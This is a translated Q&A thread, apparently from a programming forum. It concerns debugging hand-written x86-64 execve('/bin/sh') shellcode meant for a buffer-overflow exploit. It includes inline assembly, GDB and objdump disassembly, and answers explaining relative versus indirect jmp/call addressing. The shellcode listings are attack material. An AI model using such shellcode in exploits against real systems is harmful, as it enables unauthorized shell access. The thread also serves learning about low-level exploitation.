我正在编写一个漏洞利用从头开始生成shell。 (即用于缓冲区溢出)。我面临的一个问题是让jmp语句起作用。我的理解是jmp指令是相对于ip的。但是,当我尝试在内联汇编中运行以下内容时,我会跳转到绝对地址。
jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip
我解决这个问题的一种方法是使用IP作为指令的一部分,如下所示:
jmp *0x28(%rip) #will jump to address 0x28 relative to the ip
然而,当我这样做时,我在jmp
上遇到了分段错误整个汇编代码如下:
void main() {
__asm__(
"jmp *0x28(%rip) \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
GDB的反汇编输出是:
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmpq *0x28(%rip) # 0x4004de <main+50>
0x00000000004004b6 <+10>: pop %rax
0x00000000004004b7 <+11>: movw $0x0,(%rax)
0x00000000004004bc <+16>: mov %rax,0x8(%rax)
0x00000000004004c0 <+20>: movq $0x0,0x10(%rax)
0x00000000004004c8 <+28>: mov $0x0,%edx
0x00000000004004cd <+33>: mov %rax,%rsi
0x00000000004004d0 <+36>: add $0x8,%rsi
0x00000000004004d4 <+40>: mov %rax,%rdi
0x00000000004004d7 <+43>: mov $0x3b,%eax
0x00000000004004dc <+48>: syscall
0x00000000004004de <+50>: callq *-0x2e(%rip) # 0x4004b6 <main+10>
0x00000000004004e4 <+56>: (bad)
0x00000000004004e5 <+57>: (bad)
0x00000000004004e6 <+58>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004ed <+65>: retq
End of assembler dump.
我在第一条指令jmp *0x28(%rip)
上遇到了段错误,尽管GDB说它会转到正确的地址。
有趣的是,如果我在call *-0x2e(%rip)
和jmp之前放置一个标签就可以了。地址将是绝对的,并且不会产生jmp的分段错误。
使用标签的C代码:
void main() {
__asm__(
"jmp my_hack \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"my_hack: \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
结果反汇编
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmp 0x4004da <main+46>
0x00000000004004b2 <+6>: pop %rax
0x00000000004004b3 <+7>: movw $0x0,(%rax)
0x00000000004004b8 <+12>: mov %rax,0x8(%rax)
0x00000000004004bc <+16>: movq $0x0,0x10(%rax)
0x00000000004004c4 <+24>: mov $0x0,%edx
0x00000000004004c9 <+29>: mov %rax,%rsi
0x00000000004004cc <+32>: add $0x8,%rsi
0x00000000004004d0 <+36>: mov %rax,%rdi
0x00000000004004d3 <+39>: mov $0x3b,%eax
0x00000000004004d8 <+44>: syscall
0x00000000004004da <+46>: callq *-0x2e(%rip) # 0x4004b2 <main+6>
0x00000000004004e0 <+52>: (bad)
0x00000000004004e1 <+53>: (bad)
0x00000000004004e2 <+54>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004e9 <+61>: retq
End of assembler dump.
使用上述反汇编中的标签跳转不会产生分段错误。在0x00000000004004da
执行的调用将会。
有人可以解释为什么在jmp中使用rip会导致分段错误吗?
如何使用GCC内联汇编进行相对跳转/调用?我不知道如何检查汇编程序但是我很确定我正在使用GAS(在他们的wiki上它说它是默认的GCC汇编程序)。在相关问题中已经提出使用诸如jmp .+0x28
之类的语法的建议,但是这将导致绝对跳转而不是相对跳转到pc。
答案 0 :(得分:2)
我认为你的间接有点太多了。尝试
jmp 0x28(%rip)
在汇编程序中,它将被写为(大约)
jmp $+0x28
我写了大约,因为汇编指令是相对于指令的起始地址。但是rip
在执行时会增加到下一条指令。所以要获得类似
jmp $+0x24 # maybe 0x23, maybe 0x25 depending on the instruction length
答案 1 :(得分:1)
当您jmp
和call
到标签时, 使用相对地址而不是绝对地址。您在GDB中看到的反汇编可能具有欺骗性,请尝试objdump -D <ELF file>
并查找main
段。
以下是objdump
告诉我们您的第一个例子的内容。
00000000004004b4 <main>:
4004b4: 55 push %rbp
4004b5: 48 89 e5 mov %rsp,%rbp
4004b8: ff 25 28 00 00 00 jmpq *0x28(%rip) # 4004e6 <main+0x32>
4004be: 58 pop %rax
4004bf: 66 c7 00 00 00 movw $0x0,(%rax)
4004c4: 48 89 40 08 mov %rax,0x8(%rax)
4004c8: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
4004cf: 00
4004d0: ba 00 00 00 00 mov $0x0,%edx
4004d5: 48 89 c6 mov %rax,%rsi
4004d8: 48 83 c6 08 add $0x8,%rsi
4004dc: 48 89 c7 mov %rax,%rdi
4004df: b8 3b 00 00 00 mov $0x3b,%eax
4004e4: 0f 05 syscall
4004e6: ff 15 d2 ff ff ff callq *-0x2e(%rip) # 4004be <main+0xa>
4004ec: 2f (bad)
4004ed: 62 (bad)
4004ee: 69 6e 2f 73 68 00 5d imul $0x5d006873,0x2f(%rsi),%ebp
4004f5: c3 retq
jmp
0x4004b8
可能不是你想要的。它跳转到内存位置0x4004e6
引用的地址;尝试在0x622fffffffd215ff
执行指令可能会导致页面错误。同样,call
0x4004e6
实际上将程序计数器移至0x66580000002825ff
,导致另一个可能的段错误。
我稍微修改了你的第二个例子
void main() {
__asm__(
"jmp my_hack \n"
"my_hack2:\n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"my_hack: \n"
"call my_hack2 \n"
".string \"/bin/sh\""
);
}
...以及objdump
00000000004004b4 <main>:
4004b4: 55 push %rbp
4004b5: 48 89 e5 mov %rsp,%rbp
4004b8: eb 28 jmp 4004e2 <my_hack>
00000000004004ba <my_hack2>:
4004ba: 58 pop %rax
4004bb: 66 c7 00 00 00 movw $0x0,(%rax)
4004c0: 48 89 40 08 mov %rax,0x8(%rax)
4004c4: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
4004cb: 00
4004cc: ba 00 00 00 00 mov $0x0,%edx
4004d1: 48 89 c6 mov %rax,%rsi
4004d4: 48 83 c6 08 add $0x8,%rsi
4004d8: 48 89 c7 mov %rax,%rdi
4004db: b8 3b 00 00 00 mov $0x3b,%eax
4004e0: 0f 05 syscall
00000000004004e2 <my_hack>:
4004e2: e8 d3 ff ff ff callq 4004ba <my_hack2>
4004e7: 2f (bad)
4004e8: 62 (bad)
4004e9: 69 6e 2f 73 68 00 5d imul $0x5d006873,0x2f(%rsi),%ebp
4004f0: c3 retq
即使您不知道jmp
和call
的指令编码,希望很明显汇编程序为0x4004b8
和{{1}处的指令生成相对地址}。
你的程序仍然是段错误,但希望这有助于你找出原因。